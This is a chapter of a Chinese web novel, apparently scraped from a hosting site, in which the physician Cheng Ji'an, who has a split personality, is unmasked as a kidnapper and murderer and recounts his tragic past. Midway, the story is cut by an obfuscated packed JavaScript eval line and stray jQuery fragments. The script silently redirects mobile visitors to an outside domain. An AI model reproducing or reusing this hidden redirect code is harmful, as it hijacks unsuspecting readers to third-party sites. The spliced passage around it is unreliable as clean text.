成霁安本是想杀周浩光的,等他翻墙进了周府,恰好见他跪在祠堂受刑。谁知另个“成霁安”看到他背上的红,竟想起自己也曾这般受过刑,不由心生怜悯。又见他一身傲骨,一时冲动,便伺机夺舍了身体。
他眼见护卫众多,也不好冒然现身,否则不仅救不了周浩光,自己也会身陷囹圄。思来想去,他就又翻墙出府,跑去了衙门报案。周府是齐州大户,衙门那些人一听周府出了事,紧忙便派人去探。
成霁安从衙门出来后,一路都是失魂落魄,不知这个决定究竟是错是对?等他浑噩回到住处,才刚进院,就发现窗是开着,且明显有被砸的痕迹,屋内也是空荡荡的,连一丝生气也无。
成霁烟破窗,走了!
成霁安瞧那满地狼藉,身体竟是止不住的颤抖。他无助跑出院子,却正巧撞上匆匆而来的成青健。
“你是?小安?”成青健听女儿提过,见他年岁相仿,便试探问他。
成霁安颔首,声音还带着哽咽:“阿姐她,她走了。”
成青健听女儿与人私奔,瞬间脸色铁青,斥道:“她竟做出这般有违伦常之事,我成家的脸都被她丢尽!”
成霁安像抓住救命稻草般,立即道:“阿姐应当还未走远,我曾听她说起,会与周公子在枯木崖相见。成郎中与我一起去追,还来得及。”
成青健怒目,连行李都来不及放,只与他即刻赶往枯木崖。
苍白的月被片片乌云遮掩,枯木崖四周又全是黑压压的山林,无不充斥着凛冽。
周浩光从周府逃出后,他不顾身上的痛,一步一踉跄,终是在枯木崖底与成霁烟汇合。
可二人才刚见,成青健与成霁安竟也赶到。周浩光与阿烟在前逃,他二人就在后紧紧追着,一步也不肯放,直至逼的他们来到悬崖边。
“爹爹,你就放我跟浩光去吧。”成霁烟苦苦哀求。
成青健怒斥:“不孝!我成家的脸都被你丢尽,此事若传出去,你叫我如何见人。趁事还未闹大,阿烟,你快与我回家。”
成霁烟看向周浩光,坚定摇了摇头。
成青健怒上心头,直接走上前一把拽住她的肩膀,想要将人拉走,周浩光死死在旁拦着。就在此时,周老爷也携护卫追至崖前,之后就发生了周浩光坠崖之事。
成霁烟眼睁睁看心爱人从她身旁跌落,却又无能为力。她咆哮着,心如死灰看了成霁安最后一眼后,就一跃而下,纵身随周浩光跳下悬崖。
成霁安箭步冲上前想要拦,终是扑了空。
四周一片寂静,就只剩夜风呼啸,崖边树木还时不时地簌簌作响,就像女子在伤心哭泣般。成霁安扑通一声跪倒在地,他胸口像有千斤重,直压的他喘不过气来。
乌云飘散,月光显露。成霁安眼神空滞跪在那里,只剩满目悲凉。他内心唯一的光,散了!
悲剧已生,成青健与周老爷不谋而同选择隐去事实,只道女儿是采药失足跌落悬崖。衙门事后还找来成霁安,以扰乱公堂之名,仗打了他十板,以儆效尤。何其的讽刺!
“自那晚后,他便认了成郎中为父,一直守在他身边五年,算是替阿烟尽孝。他试图忘却那一切,我也被他关了整整十年。直到那一日,他在殷红处又见到葵芷香,内心起了触动,我才又有了可趁之机。”成霁安说这话时,像是庆幸,又像是感慨…
顾颜听完他讲述,也是唏嘘。明明相爱的两人,可他们的最亲人,竟为了成全所谓的礼教,硬生生逼他们堕入深渊。她忽又想起自己坠入悬崖的那瞬,不禁感到阵阵寒意,硬生出一身冷汗来。
沈朗潍察觉她不适,便上前接替她:“你虽被成霁安关了十年,可在这十年中,他尽心照料成老郎中,又用心打理医馆医治病人,街坊四邻无不赞叹。而你的出现,不仅断送他大好前途,如今还要他替你接受律法的审判。可悲的不是你,而是他!”
他这话直戳成霁安最痛,只听他怒吼一声:“他可悲?那个懦夫从小便受人排挤,任人欺压时,他就只会一味躲。是我的出现,才拯救了他,如果不是我替他承担这一切,他早就崩溃,哪里还能遇见阿烟。”
“这也不是你随意绑架,并杀害吴娘子的理由!你很可悲吗?那吴娘子又怎么说,她今年才十六,大好年华被你亲手扼杀,她与她的亲人又去与谁说理!”顾颜面色愠怒,声音也是从未有过的冷冽。
在场人都被她这一声震住,全都默了声。成霁安怔愣了片刻,随即噗嗤一声,嘲讽大笑起来:“顾娘子未免太天真,这世间本就充斥着不公。就如昨晚,若你不是出身富贵,典狱司这帮人又怎会费心寻你,你又哪能安然站在这里指责!”
成霁安见典狱司统领都对她恭敬,便猜出她身份非凡。
顾颜面对他的质问,一时竟不知该如何回他。是啊,倘若自己不是宰相之女,只是殷红一般的普通娘子,那自己的命运又该如何呢?
沈朗潍见她呆站在那,便出言反驳成霁安:“你这话未免偏拗!不错,顾特使是身份贵重,可就昨晚而言,不论典狱司哪个司卫犯险,我都不会轻言弃之。反而你,你用成霁安之躯做出这些混帐事来,依法,可要斩立决!”
离魂症实属罕见,绑架、谋害虽不是成霁安本意,可这桩桩件件,放在其他人眼中,又有何分别呢,成霁安依旧罪不容诛。
林成站出附议:“统领说得对!昨晚不论是谁犯险,统领都不会放任弃之,我们亦是!”
一个,又一个的司卫也齐同站出附和,是那么整齐,那么的坚定。
顾颜看到此情形,不禁疑问,他们为何如此相信沈朗潍?沈朗潍当真值得他们笃信?那前世的种种又该如何解释呢?
“成霁安”也没想会如此,他垂下眸,往事随风而现。
他与成霁安的第一面,还要在十二年前。
那年的夏,比往年都要热些,成霁安因没抓回婶婶要的鱼,就被她罚在烈日下思过。汗如水滴般,不断从他额头落下,不过才落,眨眼的功夫就又蒸发不见。才十二三的孩子,哪里受得这般摧残,他突得眼前一黑,身子重重摔倒在地,人也昏死过去。
也不知过了多久
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12239915|123544||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,直至听见一阵熟悉声,成霁安这才睁开了眼。随后他便发现自己身处在一个奇特的空间,四周黑茫茫一片,只前方站有一个与他年岁相当的少年郎。
少年郎背对着他,实在看不清样貌。成霁安站起身,轻手轻脚来他身后,疑惑问了一句:“这位小郎君,敢问这是何处?”
少年郎闻言转过了身,成霁安在看清他相貌后,竟一个踉跄摔倒在地,嘴也吓得一直打哆嗦:“你……你是谁?为何相貌……?”
“为何相貌会与你一般模样!”少年郎将他扶起,面上始终泛着温煦的笑。
“这究竟怎么一回事?”成霁安看着眼前另一个“自己”,还是不敢相信,这世上竟会有人能如此相像,难不成,他是自己的同胞兄弟?
少年郎微微一笑:“我就是你!是你内心所映,是藏在内心深处的你!”
成霁安更是疑惑:“你是我?”
少年郎点头:“此后,无论何时何地,只你不想面对的,都可唤我出来帮你。这世间的一切苦难,就由我来替你承受。”
成霁安还是不信,只觉自己在做梦,他还用力掐了掐胳膊,直到疼痛袭来,他这才信了看似荒谬的一切。
自此,孤寂的少年有了伴,这世上再也不是他孤零零一人。在面对叔婶无故谩骂时,他会帮他据理力争,面对他人的嬉笑打压时,他也会替他驱赶这些人。只他在的日子,成霁安仿佛焕发了新生。
直到二人遇到成霁烟,对周浩光的态度产生了分歧后,关系才渐行渐远……
结局已定,成霁安虽无辜,可这一切总归是他放任之因,他也该承受其果。
顾颜无奈轻叹一声,转身便想离去,她才刚迈一步,就被成霁安开口叫住:“顾娘子,我可否有一不情之请?”
顾颜回头,成霁安的目光已然又变和煦,就好似顾颜第一次见他时那样。
“成郎中请讲。”
“若我死后,还劳烦娘子说情,让典狱司的人将我葬回齐州枯木崖。我这辈子欠阿烟太多,死后想与她致声歉。”
顾颜看向沈朗潍,这事不是她说的算,还得他应允才行。
“特使自行决定就好,大晋并无哪条律法表明,罪犯死后必须葬在何处。”
顾颜抿唇一笑,算是答应。她才转身走,就又想起些疑惑,再不问,可能就没机会了吧?!
她停下脚步,回头一句:“成郎中,周老爷能轻易撞破他们私奔一事,这其中,究竟是偶然?还是人为?”他既能书信成青健,那周老爷……
成霁安已看淡生死,这种小事也没必要再瞒:“周家守卫森严,他见不到周老爷的面,只与家丁隐晦提起。至于那家丁是否通传,我就不得而知了。”
“谢谢!”顾颜欠身一句,随后便离开牢狱。
本是前途大好的好儿郎,却因执念造就了一场悲剧。还好,值得庆幸的是,这世因她的介入,故事终是走向了不同的结局,殷红、王萱如今还好好活着。
顾颜抬头望向湛蓝的天:“我自己的结局,又是否会改写呢?”